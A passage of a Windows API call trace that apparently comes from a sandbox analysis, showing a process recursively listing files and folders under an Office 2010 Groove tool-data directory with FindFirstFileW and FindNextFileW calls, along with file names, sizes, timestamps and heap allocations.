ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2e4800, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x5c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplateRTL.html", cAlternateFileName="FORMSP~4.HTM")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f34200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0f34200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="FORMSV~1.JPG")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="FORMSV~1.BMP")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_edit.js", cAlternateFileName="FORM_E~1.JS")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14316, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathWelcomeImage.jpg", cAlternateFileName="INFOPA~1.JPG")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAUNCH.GIF", cAlternateFileName="")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418f4a00, ftCreationTime.dwHighDateTime=0x1c9fe9d, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x418f4a00, ftLastWriteTime.dwHighDateTime=0x1c9fe9d, nFileSizeHigh=0x0, nFileSizeLow=0x30074, dwReserved0=0x0, dwReserved1=0x0, cFileName="macroprogress.gif", cAlternateFileName="MACROP~1.GIF")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a76b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x275e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicFunctions.js", cAlternateFileName="PUBLIC~1.JS")) returned 1 [0203.645] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignleft.gif", cAlternateFileName="RTF_AL~1.GIF")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignright.gif", cAlternateFileName="RTF_AL~2.GIF")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_bullets.gif", cAlternateFileName="RTF_BU~1.GIF")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_center.gif", cAlternateFileName="RTF_CE~1.GIF")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3031bc00, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3031bc00, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosecolor.gif", cAlternateFileName="RTF_CH~1.GIF")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_decreaseindent.gif", cAlternateFileName="RTF_DE~1.GIF")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_hyperlink.gif", cAlternateFileName="RTF_HY~1.GIF")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_increaseindent.gif", cAlternateFileName="RTF_IN~1.GIF")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_justify.gif", cAlternateFileName="RTF_JU~1.GIF")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_pressed.gif", cAlternateFileName="RTF_PR~1.GIF")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b9b600, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58b9b600, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVE.GIF", cAlternateFileName="")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27739b00, ftCreationTime.dwHighDateTime=0x1ca408b, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27739b00, ftLastWriteTime.dwHighDateTime=0x1ca408b, nFileSizeHigh=0x0, nFileSizeLow=0x15162, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xefe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="UTILIT~1.JS")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b43100, ftCreationTime.dwHighDateTime=0x1ca0352, ftLastAccessTime.dwLowDateTime=0x5e4444b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53b43100, ftLastWriteTime.dwHighDateTime=0x1ca0352, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="VALIDA~1.JS")) returned 1 [0203.646] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b43100, ftCreationTime.dwHighDateTime=0x1ca0352, ftLastAccessTime.dwLowDateTime=0x5e4444b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53b43100, ftLastWriteTime.dwHighDateTime=0x1ca0352, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="VALIDA~1.JS")) returned 0 [0203.647] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0203.647] GetProcessHeap () returned 0x550000 [0203.647] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0203.647] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveProjectToolset", cAlternateFileName="GRA998~1")) returned 1 [0203.648] GetProcessHeap () returned 0x550000 [0203.648] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0203.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0203.654] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.655] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BriefcaseIcon.jpg", cAlternateFileName="BRIEFC~1.JPG")) returned 1 [0203.655] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf76, dwReserved0=0x0, dwReserved1=0x0, cFileName="BriefcaseIconMask.bmp", cAlternateFileName="BRIEFC~1.BMP")) returned 1 [0203.656] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleIcons.jpg", cAlternateFileName="CIRCLE~1.JPG")) returned 1 [0203.656] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x114c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleIconsMask.bmp", cAlternateFileName="CIRCLE~1.BMP")) returned 1 [0203.656] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeetingIcon.jpg", cAlternateFileName="MEETIN~1.JPG")) returned 1 [0203.656] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeetingIconMask.bmp", cAlternateFileName="MEETIN~1.BMP")) returned 1 [0203.656] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectStatusIcons.jpg", cAlternateFileName="PROJEC~1.JPG")) returned 1 [0203.656] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa10, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectStatusIconsMask.bmp", cAlternateFileName="PROJEC~1.BMP")) returned 1 [0203.656] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x200e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectTaskIcon.jpg", cAlternateFileName="PROJEC~2.JPG")) returned 1 [0203.656] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectTaskIconMask.bmp", cAlternateFileName="PROJEC~2.BMP")) returned 1 [0203.656] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectTool", cAlternateFileName="PROJEC~1")) returned 1 [0203.656] GetProcessHeap () returned 0x550000 [0203.656] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0203.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0203.658] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.658] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="PROJEC~1")) returned 1 [0203.658] GetProcessHeap () returned 0x550000 [0203.658] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264a108 [0203.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0203.658] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.658] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Basic", cAlternateFileName="")) returned 1 [0203.658] GetProcessHeap () returned 0x550000 [0203.658] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0203.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0203.659] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, 